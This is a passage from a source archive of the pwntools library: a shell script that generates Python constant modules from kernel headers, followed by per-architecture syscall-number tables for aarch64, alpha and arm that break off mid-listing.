Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/vm/000077500000000000000000000000001507273764500262365ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/vm/vm.h000066400000000000000000000000001507273764500270170ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/generate_constants.sh000077500000000000000000000016721507273764500304350ustar00rootroot00000000000000#!/bin/bash set -e grep -hEo '__NR_\w*' linux/diet/*/syscalls.h | sed 's/__NR\(.*\)/#define SYS\1 __NR\1/' |LC_ALL=C sort -dfu - linux/syscall_map.h >linux/syscall_map.h.new mv linux/syscall_map.h.new linux/syscall_map.h pushd linux ARCHS="$(ls *.h | sed 's/.h$//' | grep -v -e common -e syscall_map)" popd python="../../../constants" headers="../" rm -rf "$headers/linux" "$headers/freebsd.h" mkdir -p "$headers/linux" find "$python" -type f \( -name '*.py' -o -name '*.pyc' \) -not -name "__init__.py" -not -name 'constant.py' -delete find "$python" -type d -empty -delete for arch in $ARCHS; do echo $arch swig -python -E -cpperraswarn -Ilinux -Ilinux -Ilinux/diet -Ilinux/diet/$arch -includeall linux/$arch.h | egrep "^%constant" | ./load_constants.py $python/linux/$arch.py $headers/linux/$arch.h done swig -python -E -Ifreebsd -includeall freebsd/common.h | egrep "^%constant" | ./load_constants.py $python/freebsd.py $headers/freebsd.h Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/000077500000000000000000000000001507273764500253415ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/aarch64.h000066400000000000000000000001261507273764500267410ustar00rootroot00000000000000#define __arm__ #define __aarch64__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/alpha.h000066400000000000000000000001021507273764500265700ustar00rootroot00000000000000#define __alpha__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/amd64.h000066400000000000000000000001431507273764500264230ustar00rootroot00000000000000#define __x86_64__ #include #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/arm.h000066400000000000000000000001541507273764500262710ustar00rootroot00000000000000#define __arm__ #define __ARM_EABI__ 1 #define __KERNEL__ 1 #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/common.h000066400000000000000000000005531507273764500270050ustar00rootroot00000000000000#define __ASSEMBLER__ #define MAP_32BIT 0x40 // Only give out 32-bit addresses. #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #include #include #include #include #include #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/000077500000000000000000000000001507273764500262665ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/aarch64/000077500000000000000000000000001507273764500275165ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/aarch64/syscalls.h000066400000000000000000000202701507273764500315250ustar00rootroot00000000000000#ifndef _AARCH64_SYSCALL_H #define _AARCH64_SYSCALL_H 1 #define __NR_io_setup 0 #define __NR_io_destroy 1 #define __NR_io_submit 2 #define __NR_io_cancel 3 #define __NR_io_getevents 4 #define __NR_setxattr 5 #define __NR_lsetxattr 6 #define __NR_fsetxattr 7 #define __NR_getxattr 8 #define __NR_lgetxattr 9 #define __NR_fgetxattr 10 #define __NR_listxattr 11 #define __NR_llistxattr 12 #define __NR_flistxattr 13 #define __NR_removexattr 14 #define __NR_lremovexattr 15 #define __NR_fremovexattr 16 #define __NR_getcwd 17 #define __NR_lookup_dcookie 18 #define __NR_eventfd2 19 #define __NR_epoll_create1 20 #define __NR_epoll_ctl 21 #define __NR_epoll_pwait 22 #define __NR_dup 23 #define __NR_dup3 24 #define __NR_fcntl 25 #define __NR_inotify_init1 26 #define __NR_inotify_add_watch 27 #define __NR_inotify_rm_watch 28 #define __NR_ioctl 29 #define __NR_ioprio_set 30 #define __NR_ioprio_get 31 #define __NR_flock 32 #define __NR_mknodat 33 #define __NR_mkdirat 34 #define __NR_unlinkat 35 #define __NR_symlinkat 36 #define __NR_linkat 37 #define __NR_renameat 38 #define __NR_umount2 39 #define __NR_mount 40 #define __NR_pivot_root 41 #define __NR_nfsservctl 42 #define __NR_statfs 43 #define __NR_fstatfs 44 #define __NR_truncate 45 #define __NR_ftruncate 46 #define __NR_fallocate 47 #define __NR_faccessat 48 #define __NR_chdir 49 #define __NR_fchdir 50 #define __NR_chroot 51 #define __NR_fchmod 52 #define __NR_fchmodat 53 #define __NR_fchownat 54 #define __NR_fchown 55 #define __NR_openat 56 #define __NR_close 57 #define __NR_vhangup 58 #define __NR_pipe2 59 #define __NR_quotactl 60 #define __NR_getdents64 61 #define __NR_lseek 62 #define __NR_read 63 #define __NR_write 64 #define __NR_readv 65 #define __NR_writev 66 #define __NR_pread64 67 #define __NR_pwrite64 68 #define __NR_preadv 69 #define __NR_pwritev 70 #define __NR_sendfile 71 #define __NR_pselect6 72 #define __NR_ppoll 73 #define __NR_signalfd4 74 #define __NR_vmsplice 75 #define __NR_splice 76 #define __NR_tee 77 #define __NR_readlinkat 78 #define __NR_fstatat 79 #define __NR_newfstatat __NR_fstatat #define __NR_fstat 80 #define __NR_sync 81 #define __NR_fsync 82 #define __NR_fdatasync 83 #define __NR_sync_file_range 84 #define __NR_timerfd_create 85 #define __NR_timerfd_settime 86 #define __NR_timerfd_gettime 87 #define __NR_utimensat 88 #define __NR_acct 89 #define __NR_capget 90 #define __NR_capset 91 #define __NR_personality 92 #define __NR_exit 93 #define __NR_exit_group 94 #define __NR_waitid 95 #define __NR_set_tid_address 96 #define __NR_unshare 97 #define __NR_futex 98 #define __NR_set_robust_list 99 #define __NR_get_robust_list 100 #define __NR_nanosleep 101 #define __NR_getitimer 102 #define __NR_setitimer 103 #define __NR_kexec_load 104 #define __NR_init_module 105 #define __NR_delete_module 106 #define __NR_timer_create 107 #define __NR_timer_gettime 108 #define __NR_timer_getoverrun 109 #define __NR_timer_settime 110 #define __NR_timer_delete 111 #define __NR_clock_settime 112 #define __NR_clock_gettime 113 #define __NR_clock_getres 114 #define __NR_clock_nanosleep 115 #define __NR_syslog 116 #define __NR_ptrace 117 #define __NR_sched_setparam 118 #define __NR_sched_setscheduler 119 #define __NR_sched_getscheduler 120 #define __NR_sched_getparam 121 #define __NR_sched_setaffinity 122 #define __NR_sched_getaffinity 123 #define __NR_sched_yield 124 #define __NR_sched_get_priority_max 125 #define __NR_sched_get_priority_min 126 #define __NR_sched_rr_get_interval 127 #define __NR_restart_syscall 128 #define __NR_kill 129 #define __NR_tkill 130 #define __NR_tgkill 131 #define __NR_sigaltstack 132 #define __NR_rt_sigsuspend 133 #define __NR_rt_sigaction 134 #define __NR_rt_sigprocmask 135 #define __NR_rt_sigpending 136 #define __NR_rt_sigtimedwait 137 #define __NR_rt_sigqueueinfo 138 #define __NR_rt_sigreturn 139 #define __NR_setpriority 140 #define __NR_getpriority 141 #define __NR_reboot 142 #define __NR_setregid 143 #define __NR_setgid 144 #define __NR_setreuid 145 #define __NR_setuid 146 #define __NR_setresuid 147 #define __NR_getresuid 148 #define __NR_setresgid 149 #define __NR_getresgid 150 #define __NR_setfsuid 151 #define __NR_setfsgid 152 #define __NR_times 153 #define __NR_setpgid 154 #define __NR_getpgid 155 #define __NR_getsid 156 #define __NR_setsid 157 #define __NR_getgroups 158 #define __NR_setgroups 159 #define __NR_uname 160 #define __NR_sethostname 161 #define __NR_setdomainname 162 #define __NR_getrlimit 163 #define __NR_setrlimit 164 #define __NR_getrusage 165 #define __NR_umask 166 #define __NR_prctl 167 #define __NR_getcpu 168 #define __NR_gettimeofday 169 #define __NR_settimeofday 170 #define __NR_adjtimex 171 #define __NR_getpid 172 #define __NR_getppid 173 #define __NR_getuid 174 #define __NR_geteuid 175 #define __NR_getgid 176 #define __NR_getegid 177 #define __NR_gettid 178 #define __NR_sysinfo 179 #define __NR_mq_open 180 #define __NR_mq_unlink 181 #define __NR_mq_timedsend 182 #define __NR_mq_timedreceive 183 #define __NR_mq_notify 184 #define __NR_mq_getsetattr 185 #define __NR_msgget 186 #define __NR_msgctl 187 #define __NR_msgrcv 188 #define __NR_msgsnd 189 #define __NR_semget 190 #define __NR_semctl 191 #define __NR_semtimedop 192 #define __NR_semop 193 #define __NR_shmget 194 #define __NR_shmctl 195 #define __NR_shmat 196 #define __NR_shmdt 197 #define __NR_socket 198 #define __NR_socketpair 199 #define __NR_bind 200 #define __NR_listen 201 #define __NR_accept 202 #define __NR_connect 203 #define __NR_getsockname 204 #define __NR_getpeername 205 #define __NR_sendto 206 #define __NR_recvfrom 207 #define __NR_setsockopt 208 #define __NR_getsockopt 209 #define __NR_shutdown 210 #define __NR_sendmsg 211 #define __NR_recvmsg 212 #define __NR_readahead 213 #define __NR_brk 214 #define __NR_munmap 215 #define __NR_mremap 216 #define __NR_add_key 217 #define __NR_request_key 218 #define __NR_keyctl 219 #define __NR_clone 220 #define __NR_execve 221 #define __NR_mmap 222 #define __NR_fadvise64 223 #define __NR_swapon 224 #define __NR_swapoff 225 #define __NR_mprotect 226 #define __NR_msync 227 #define __NR_mlock 228 #define __NR_munlock 229 #define __NR_mlockall 230 #define __NR_munlockall 231 #define __NR_mincore 232 #define __NR_madvise 233 #define __NR_remap_file_pages 234 #define __NR_mbind 235 #define __NR_get_mempolicy 236 #define __NR_set_mempolicy 237 #define __NR_migrate_pages 238 #define __NR_move_pages 239 #define __NR_rt_tgsigqueueinfo 240 #define __NR_perf_event_open 241 #define __NR_accept4 242 #define __NR_recvmmsg 243 #define __NR_arch_specific_syscall 244 #define __NR_wait4 260 #define __NR_prlimit64 261 #define __NR_fanotify_init 262 #define __NR_fanotify_mark 263 #define __NR_name_to_handle_at 264 #define __NR_open_by_handle_at 265 #define __NR_clock_adjtime 266 #define __NR_syncfs 267 #define __NR_setns 268 #define __NR_sendmmsg 269 #define __NR_process_vm_readv 270 #define __NR_process_vm_writev 271 #define __NR_kcmp 272 #define __NR_finit_module 273 #define __NR_sched_setattr 274 #define __NR_sched_getattr 275 #define __NR_renameat2 276 #define __NR_seccomp 277 #define __NR_getrandom 278 #define __NR_memfd_create 279 #define __NR_bpf 280 #define __NR_execveat 281 #define __NR_userfaultfd 282 #define __NR_membarrier 283 #define __NR_mlock2 284 #define __NR_copy_file_range 285 #define __NR_preadv2 286 #define __NR_pwritev2 287 #define __NR_pkey_mprotect 288 #define __NR_pkey_alloc 289 #define __NR_pkey_free 290 #define __NR_statx 291 #define __NR_io_pgetevents 292 #define __NR_rseq 293 #define __NR_kexec_file_load 294 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #ifdef __ASSEMBLER__ #include "aarch64-features.h" #define syscall_weak(name,wsym,sym) __syscall_weak __NR_##name, wsym, sym, __ARGS_##name .macro __syscall_weak name wsym sym typ FUNC_START_WEAK \wsym __syscall \name, \sym, \typ FUNC_END \wsym .endm #define syscall(name,sym) __syscall __NR_##name, sym, __ARGS_##name .macro __syscall name sym typ FUNC_START \sym mov x8, #\name svc #0 b __unified_syscall FUNC_END \sym .endm #endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/alpha/000077500000000000000000000000001507273764500273535ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/alpha/syscalls.h000066400000000000000000000365511507273764500313730ustar00rootroot00000000000000 #define __NR_osf_syscall 0 /* not implemented */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_osf_old_open 5 /* not implemented */ #define __NR_close 6 #define __NR_osf_wait4 7 #define __NR_osf_old_creat 8 /* not implemented */ #define __NR_link 9 #define __NR_unlink 10 #define __NR_osf_execve 11 /* not implemented */ #define __NR_chdir 12 #define __NR_fchdir 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_chown 16 #define __NR_brk 17 #define __NR_osf_getfsstat 18 /* not implemented */ #define __NR_lseek 19 #define __NR_getxpid 20 #define __NR_osf_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getxuid 24 #define __NR_exec_with_loader 25 /* not implemented */ #define __NR_ptrace 26 #define __NR_osf_nrecvmsg 27 /* not implemented */ #define __NR_osf_nsendmsg 28 /* not implemented */ #define __NR_osf_nrecvfrom 29 /* not implemented */ #define __NR_osf_naccept 30 /* not implemented */ #define __NR_osf_ngetpeername 31 /* not implemented */ #define __NR_osf_ngetsockname 32 /* not implemented */ #define __NR_access 33 #define __NR_osf_chflags 34 /* not implemented */ #define __NR_osf_fchflags 35 /* not implemented */ #define __NR_sync 36 #define __NR_kill 37 #define __NR_osf_old_stat 38 /* not implemented */ #define __NR_setpgid 39 #define __NR_osf_old_lstat 40 /* not implemented */ #define __NR_dup 41 #define __NR_pipe 42 #define __NR_osf_set_program_attributes 43 #define __NR_osf_profil 44 /* not implemented */ #define __NR_open 45 #define __NR_osf_old_sigaction 46 /* not implemented */ #define __NR_getxgid 47 #define __NR_osf_sigprocmask 48 #define __NR_osf_getlogin 49 /* not implemented */ #define __NR_osf_setlogin 50 /* not implemented */ #define __NR_acct 51 #define __NR_sigpending 52 #define __NR_ioctl 54 #define __NR_osf_reboot 55 /* not implemented */ #define __NR_osf_revoke 56 /* not implemented */ #define __NR_symlink 57 #define __NR_readlink 58 #define __NR_execve 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_osf_old_fstat 62 /* not implemented */ #define __NR_getpgrp 63 #define __NR_getpagesize 64 #define __NR_osf_mremap 65 /* not implemented */ #define __NR_vfork 66 #define __NR_stat 67 #define __NR_lstat 68 #define __NR_osf_sbrk 69 /* not implemented */ #define __NR_osf_sstk 70 /* not implemented */ #define __NR_mmap 71 /* OSF/1 mmap is superset of Linux */ #define __NR_osf_old_vadvise 72 /* not implemented */ #define __NR_munmap 73 #define __NR_mprotect 74 #define __NR_madvise 75 #define __NR_vhangup 76 #define __NR_osf_kmodcall 77 /* not implemented */ #define __NR_osf_mincore 78 /* not implemented */ #define __NR_getgroups 79 #define __NR_setgroups 80 #define __NR_osf_old_getpgrp 81 /* not implemented */ #define __NR_setpgrp 82 /* BSD alias for setpgid */ #define __NR_osf_setitimer 83 #define __NR_osf_old_wait 84 /* not implemented */ #define __NR_osf_table 85 /* not implemented */ #define __NR_osf_getitimer 86 #define __NR_gethostname 87 #define __NR_sethostname 88 #define __NR_getdtablesize 89 #define __NR_dup2 90 #define __NR_fstat 91 #define __NR_fcntl 92 #define __NR_osf_select 93 #define __NR_poll 94 #define __NR_fsync 95 #define __NR_setpriority 96 #define __NR_socket 97 #define __NR_connect 98 #define __NR_accept 99 #define __NR_getpriority 100 #define __NR_send 101 #define __NR_recv 102 #define __NR_sigreturn 103 #define __NR_bind 104 #define __NR_setsockopt 105 #define __NR_listen 106 #define __NR_osf_plock 107 /* not implemented */ #define __NR_osf_old_sigvec 108 /* not implemented */ #define __NR_osf_old_sigblock 109 /* not implemented */ #define __NR_osf_old_sigsetmask 110 /* not implemented */ #define __NR_sigsuspend 111 #define __NR_osf_sigstack 112 #define __NR_recvmsg 113 #define __NR_sendmsg 114 #define __NR_osf_old_vtrace 115 /* not implemented */ #define __NR_osf_gettimeofday 116 #define __NR_osf_getrusage 117 #define __NR_getsockopt 118 #define __NR_readv 120 #define __NR_writev 121 #define __NR_osf_settimeofday 122 #define __NR_fchown 123 #define __NR_fchmod 124 #define __NR_recvfrom 125 #define __NR_setreuid 126 #define __NR_setregid 127 #define __NR_rename 128 #define __NR_truncate 129 #define __NR_ftruncate 130 #define __NR_flock 131 #define __NR_setgid 132 #define __NR_sendto 133 #define __NR_shutdown 134 #define __NR_socketpair 135 #define __NR_mkdir 136 #define __NR_rmdir 137 #define __NR_osf_utimes 138 #define __NR_osf_old_sigreturn 139 /* not implemented */ #define __NR_osf_adjtime 140 /* not implemented */ #define __NR_getpeername 141 #define __NR_osf_gethostid 142 /* not implemented */ #define __NR_osf_sethostid 143 /* not implemented */ #define __NR_getrlimit 144 #define __NR_setrlimit 145 #define __NR_osf_old_killpg 146 /* not implemented */ #define __NR_setsid 147 #define __NR_quotactl 148 #define __NR_osf_oldquota 149 /* not implemented */ #define __NR_getsockname 150 #define __NR_osf_pid_block 153 /* not implemented */ #define __NR_osf_pid_unblock 154 /* not implemented */ #define __NR_sigaction 156 #define __NR_osf_sigwaitprim 157 /* not implemented */ #define __NR_osf_nfssvc 158 /* not implemented */ #define __NR_osf_getdirentries 159 #define __NR_osf_statfs 160 #define __NR_osf_fstatfs 161 #define __NR_osf_asynch_daemon 163 /* not implemented */ #define __NR_osf_getfh 164 /* not implemented */ #define __NR_osf_getdomainname 165 #define __NR_setdomainname 166 #define __NR_osf_exportfs 169 /* not implemented */ #define __NR_osf_alt_plock 181 /* not implemented */ #define __NR_osf_getmnt 184 /* not implemented */ #define __NR_osf_alt_sigpending 187 /* not implemented */ #define __NR_osf_alt_setsid 188 /* not implemented */ #define __NR_osf_swapon 199 #define __NR_msgctl 200 #define __NR_msgget 201 #define __NR_msgrcv 202 #define __NR_msgsnd 203 #define __NR_semctl 204 #define __NR_semget 205 #define __NR_semop 206 #define __NR_osf_utsname 207 #define __NR_lchown 208 #define __NR_osf_shmat 209 #define __NR_shmctl 210 #define __NR_shmdt 211 #define __NR_shmget 212 #define __NR_osf_mvalid 213 /* not implemented */ #define __NR_osf_getaddressconf 214 /* not implemented */ #define __NR_osf_msleep 215 /* not implemented */ #define __NR_osf_mwakeup 216 /* not implemented */ #define __NR_msync 217 #define __NR_osf_signal 218 /* not implemented */ #define __NR_osf_utc_gettime 219 /* not implemented */ #define __NR_osf_utc_adjtime 220 /* not implemented */ #define __NR_osf_security 222 /* not implemented */ #define __NR_osf_kloadcall 223 /* not implemented */ #define __NR_getpgid 233 #define __NR_getsid 234 #define __NR_sigaltstack 235 #define __NR_osf_waitid 236 /* not implemented */ #define __NR_osf_priocntlset 237 /* not implemented */ #define __NR_osf_sigsendset 238 /* not implemented */ #define __NR_osf_set_speculative 239 /* not implemented */ #define __NR_osf_msfs_syscall 240 /* not implemented */ #define __NR_osf_sysinfo 241 #define __NR_osf_uadmin 242 /* not implemented */ #define __NR_osf_fuser 243 /* not implemented */ #define __NR_osf_proplist_syscall 244 #define __NR_osf_ntp_adjtime 245 /* not implemented */ #define __NR_osf_ntp_gettime 246 /* not implemented */ #define __NR_osf_pathconf 247 /* not implemented */ #define __NR_osf_fpathconf 248 /* not implemented */ #define __NR_osf_uswitch 250 /* not implemented */ #define __NR_osf_usleep_thread 251 #define __NR_osf_audcntl 252 /* not implemented */ #define __NR_osf_audgen 253 /* not implemented */ #define __NR_sysfs 254 #define __NR_osf_subsys_info 255 /* not implemented */ #define __NR_osf_getsysinfo 256 #define __NR_osf_setsysinfo 257 #define __NR_osf_afs_syscall 258 /* not implemented */ #define __NR_osf_swapctl 259 /* not implemented */ #define __NR_osf_memcntl 260 /* not implemented */ #define __NR_osf_fdatasync 261 /* not implemented */ #define __NR_umount_without_flags __NR_oldumount #define __NR_umount_with_flags __NR_umount /* * Linux-specific system calls begin at 300 */ #define __NR_bdflush 300 #define __NR_sethae 301 #define __NR_mount 302 #define __NR_old_adjtimex 303 #define __NR_swapoff 304 #define __NR_getdents 305 #define __NR_create_module 306 #define __NR_init_module 307 #define __NR_delete_module 308 #define __NR_get_kernel_syms 309 #define __NR_syslog 310 #define __NR_reboot 311 #define __NR_clone 312 #define __NR_uselib 313 #define __NR_mlock 314 #define __NR_munlock 315 #define __NR_mlockall 316 #define __NR_munlockall 317 #define __NR_sysinfo 318 #define __NR__sysctl 319 /* 320 was sys_idle. */ #define __NR_oldumount 321 #define __NR_swapon 322 #define __NR_times 323 #define __NR_personality 324 #define __NR_setfsuid 325 #define __NR_setfsgid 326 #define __NR_ustat 327 #define __NR_statfs 328 #define __NR_fstatfs 329 #define __NR_sched_setparam 330 #define __NR_sched_getparam 331 #define __NR_sched_setscheduler 332 #define __NR_sched_getscheduler 333 #define __NR_sched_yield 334 #define __NR_sched_get_priority_max 335 #define __NR_sched_get_priority_min 336 #define __NR_sched_rr_get_interval 337 #define __NR_afs_syscall 338 #define __NR_uname 339 #define __NR_nanosleep 340 #define __NR_mremap 341 #define __NR_nfsservctl 342 #define __NR_setresuid 343 #define __NR_getresuid 344 #define __NR_pciconfig_read 345 #define __NR_pciconfig_write 346 #define __NR_query_module 347 #define __NR_prctl 348 #define __NR_pread 349 #define __NR_pwrite 350 #define __NR_rt_sigreturn 351 #define __NR_rt_sigaction 352 #define __NR_rt_sigprocmask 353 #define __NR_rt_sigpending 354 #define __NR_rt_sigtimedwait 355 #define __NR_rt_sigqueueinfo 356 #define __NR_rt_sigsuspend 357 #define __NR_select 358 #define __NR_gettimeofday 359 #define __NR_settimeofday 360 #define __NR_getitimer 361 #define __NR_setitimer 362 #define __NR_utimes 363 #define __NR_getrusage 364 #define __NR_wait4 365 #define __NR_adjtimex 366 #define __NR_getcwd 367 #define __NR_capget 368 #define __NR_capset 369 #define __NR_sendfile 370 #define __NR_setresgid 371 #define __NR_getresgid 372 #define __NR_dipc 373 #define __NR_pivot_root 374 #define __NR_mincore 375 #define __NR_pciconfig_iobase 376 #define __NR_getdents64 377 #define __NR_gettid 378 #define __NR_readahead 379 /* 380 is unused */ #define __NR_tkill 381 #define __NR_setxattr 382 #define __NR_lsetxattr 383 #define __NR_fsetxattr 384 #define __NR_getxattr 385 #define __NR_lgetxattr 386 #define __NR_fgetxattr 387 #define __NR_listxattr 388 #define __NR_llistxattr 389 #define __NR_flistxattr 390 #define __NR_removexattr 391 #define __NR_lremovexattr 392 #define __NR_fremovexattr 393 #define __NR_futex 394 #define __NR_sched_setaffinity 395 #define __NR_sched_getaffinity 396 #define __NR_tuxcall 397 #define __NR_io_setup 398 #define __NR_io_destroy 399 #define __NR_io_getevents 400 #define __NR_io_submit 401 #define __NR_io_cancel 402 #define __NR_exit_group 405 #define __NR_lookup_dcookie 406 #define __NR_sys_epoll_create 407 #define __NR_sys_epoll_ctl 408 #define __NR_sys_epoll_wait 409 #define __NR_remap_file_pages 410 #define __NR_set_tid_address 411 #define __NR_restart_syscall 412 #define __NR_fadvise64 413 #define __NR_timer_create 414 #define __NR_timer_settime 415 #define __NR_timer_gettime 416 #define __NR_timer_getoverrun 417 #define __NR_timer_delete 418 #define __NR_clock_settime 419 #define __NR_clock_gettime 420 #define __NR_clock_getres 421 #define __NR_clock_nanosleep 422 #define __NR_semtimedop 423 #define __NR_tgkill 424 #define __NR_stat64 425 #define __NR_lstat64 426 #define __NR_fstat64 427 #define __NR_vserver 428 #define __NR_mbind 429 #define __NR_get_mempolicy 430 #define __NR_set_mempolicy 431 #define __NR_mq_open 432 #define __NR_mq_unlink 433 #define __NR_mq_timedsend 434 #define __NR_mq_timedreceive 435 #define __NR_mq_notify 436 #define __NR_mq_getsetattr 437 #define __NR_waitid 438 #define __NR_add_key 439 #define __NR_request_key 440 #define __NR_keyctl 441 #define __NR_ioprio_set 442 #define __NR_ioprio_get 443 #define __NR_inotify_init 444 #define __NR_inotify_add_watch 445 #define __NR_inotify_rm_watch 446 #define __NR_fdatasync 447 #define __NR_kexec_load 448 #define __NR_migrate_pages 449 #define __NR_openat 450 #define __NR_mkdirat 451 #define __NR_mknodat 452 #define __NR_fchownat 453 #define __NR_futimesat 454 #define __NR_fstatat64 455 #define __NR_unlinkat 456 #define __NR_renameat 457 #define __NR_linkat 458 #define __NR_symlinkat 459 #define __NR_readlinkat 460 #define __NR_fchmodat 461 #define __NR_faccessat 462 #define __NR_pselect6 463 #define __NR_ppoll 464 #define __NR_unshare 465 #define __NR_set_robust_list 466 #define __NR_get_robust_list 467 #define __NR_splice 468 #define __NR_sync_file_range 469 #define __NR_tee 470 #define __NR_vmsplice 471 #define __NR_move_pages 472 #define __NR_getcpu 473 #define __NR_epoll_pwait 474 #define __NR_utimensat 475 #define __NR_signalfd 476 #define __NR_timerfd 477 #define __NR_eventfd 478 #define __NR_recvmmsg 479 #define __NR_fallocate 480 #define __NR_timerfd_create 481 #define __NR_timerfd_settime 482 #define __NR_timerfd_gettime 483 #define __NR_signalfd4 484 #define __NR_eventfd2 485 #define __NR_epoll_create1 486 #define __NR_dup3 487 #define __NR_pipe2 488 #define __NR_inotify_init1 489 #define __NR_preadv 490 #define __NR_pwritev 491 #define __NR_rt_tgsigqueueinfo 492 #define __NR_perf_event_open 493 #define __NR_fanotify_init 494 #define __NR_fanotify_mark 495 #define __NR_prlimit64 496 #define __NR_name_to_handle_at 497 #define __NR_open_by_handle_at 498 #define __NR_clock_adjtime 499 #define __NR_syncfs 500 #define __NR_setns 501 #define __NR_accept4 502 #define __NR_sendmmsg 503 #define __NR_process_vm_readv 504 #define __NR_process_vm_writev 505 #define __NR_kcmp 506 #define __NR_finit_module 507 #define __NR_sched_setattr 508 #define __NR_sched_getattr 509 #define __NR_renameat2 510 #define __NR_getrandom 511 #define __NR_memfd_create 512 #define __NR_execveat 513 #define __NR_seccomp 514 #define __NR_bpf 515 #define __NR_userfaultfd 516 #define __NR_membarrier 517 #define __NR_mlock2 518 #define __NR_copy_file_range 519 #define __NR_preadv2 520 #define __NR_pwritev2 521 #define __NR_statx 522 #define __NR_io_pgetevents 523 #define __NR_pkey_mprotect 524 #define __NR_pkey_alloc 525 #define __NR_pkey_free 526 #define __NR_rseq 527 #define __NR_statfs64 528 #define __NR_fstatfs64 529 #define __NR_getegid 530 #define __NR_geteuid 531 #define __NR_getppid 532 #define __NR_pidfd_send_signal 534 #define __NR_io_uring_setup 535 #define __NR_io_uring_enter 536 #define __NR_io_uring_register 537 #define __NR_open_tree 538 #define __NR_move_mount 539 #define __NR_fsopen 540 #define __NR_fsconfig 541 #define __NR_fsmount 542 #define __NR_fspick 543 #define __NR_pidfd_open 544 #define __NR_openat2 547 #define __NR_pidfd_getfd 548 #define syscall_weak(name,wsym,sym) \ .text ; \ .align 2 ; \ .weak wsym; \ .type wsym,@function ; \ wsym: ; \ .global sym ; \ .type sym,@function ; \ sym: ; \ lda $0, __NR_##name($31) ; \ br __unified_syscall #define syscall(name,sym) \ .text ; \ .align 2 ; \ .global sym ; \ .type sym,@function ; \ sym: ; \ lda $0, __NR_##name($31) ; \ br __unified_syscall Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/arm/000077500000000000000000000000001507273764500270455ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/arm/syscalls.h000066400000000000000000001007631507273764500310620ustar00rootroot00000000000000#ifndef _ARM_SYSCALL_H #define _ARM_SYSCALL_H 1 #define __NR_OABI_SYSCALL_BASE 0x900000 #if defined(__thumb__) || defined(__ARM_EABI__) #define __NR_SYSCALL_BASE 0 #else #define __NR_SYSCALL_BASE __NR_OABI_SYSCALL_BASE #endif #define __NR_restart_syscall (__NR_SYSCALL_BASE+ 0) #define __NR_exit (__NR_SYSCALL_BASE+ 1) #define __NR_fork (__NR_SYSCALL_BASE+ 2) #define __NR_read (__NR_SYSCALL_BASE+ 3) #define __NR_write (__NR_SYSCALL_BASE+ 4) #define __NR_open (__NR_SYSCALL_BASE+ 5) #define __NR_close (__NR_SYSCALL_BASE+ 6) /* 7 was sys_waitpid */ #define __NR_creat (__NR_SYSCALL_BASE+ 8) #define __NR_link (__NR_SYSCALL_BASE+ 9) #define __NR_unlink (__NR_SYSCALL_BASE+ 10) #define __NR_execve (__NR_SYSCALL_BASE+ 11) #define __NR_chdir (__NR_SYSCALL_BASE+ 12) #define __NR_time (__NR_SYSCALL_BASE+ 13) #define __NR_mknod (__NR_SYSCALL_BASE+ 14) #define __NR_chmod (__NR_SYSCALL_BASE+ 15) #define __NR_lchown (__NR_SYSCALL_BASE+ 16) /* 17 was sys_break */ /* 18 was sys_stat */ #define __NR_lseek (__NR_SYSCALL_BASE+ 19) #define __NR_getpid (__NR_SYSCALL_BASE+ 20) #define __NR_mount (__NR_SYSCALL_BASE+ 21) #define __NR_umount (__NR_SYSCALL_BASE+ 22) #define __NR_setuid (__NR_SYSCALL_BASE+ 23) #define __NR_getuid (__NR_SYSCALL_BASE+ 24) #define __NR_stime (__NR_SYSCALL_BASE+ 25) #define __NR_ptrace (__NR_SYSCALL_BASE+ 26) #define __NR_alarm (__NR_SYSCALL_BASE+ 27) /* 28 was sys_fstat */ #define __NR_pause (__NR_SYSCALL_BASE+ 29) #define __NR_utime (__NR_SYSCALL_BASE+ 30) /* 31 was sys_stty */ /* 32 was sys_gtty */ #define __NR_access (__NR_SYSCALL_BASE+ 33) #define __NR_nice (__NR_SYSCALL_BASE+ 34) /* 35 was sys_ftime */ #define __NR_sync (__NR_SYSCALL_BASE+ 36) #define __NR_kill (__NR_SYSCALL_BASE+ 37) #define __NR_rename (__NR_SYSCALL_BASE+ 38) #define __NR_mkdir (__NR_SYSCALL_BASE+ 39) #define __NR_rmdir (__NR_SYSCALL_BASE+ 40) #define __NR_dup (__NR_SYSCALL_BASE+ 41) #define __NR_pipe (__NR_SYSCALL_BASE+ 42) #define __NR_times (__NR_SYSCALL_BASE+ 43) /* 44 was sys_prof */ #define __NR_brk (__NR_SYSCALL_BASE+ 45) #define __NR_setgid (__NR_SYSCALL_BASE+ 46) #define __NR_getgid (__NR_SYSCALL_BASE+ 47) /* 48 was sys_signal 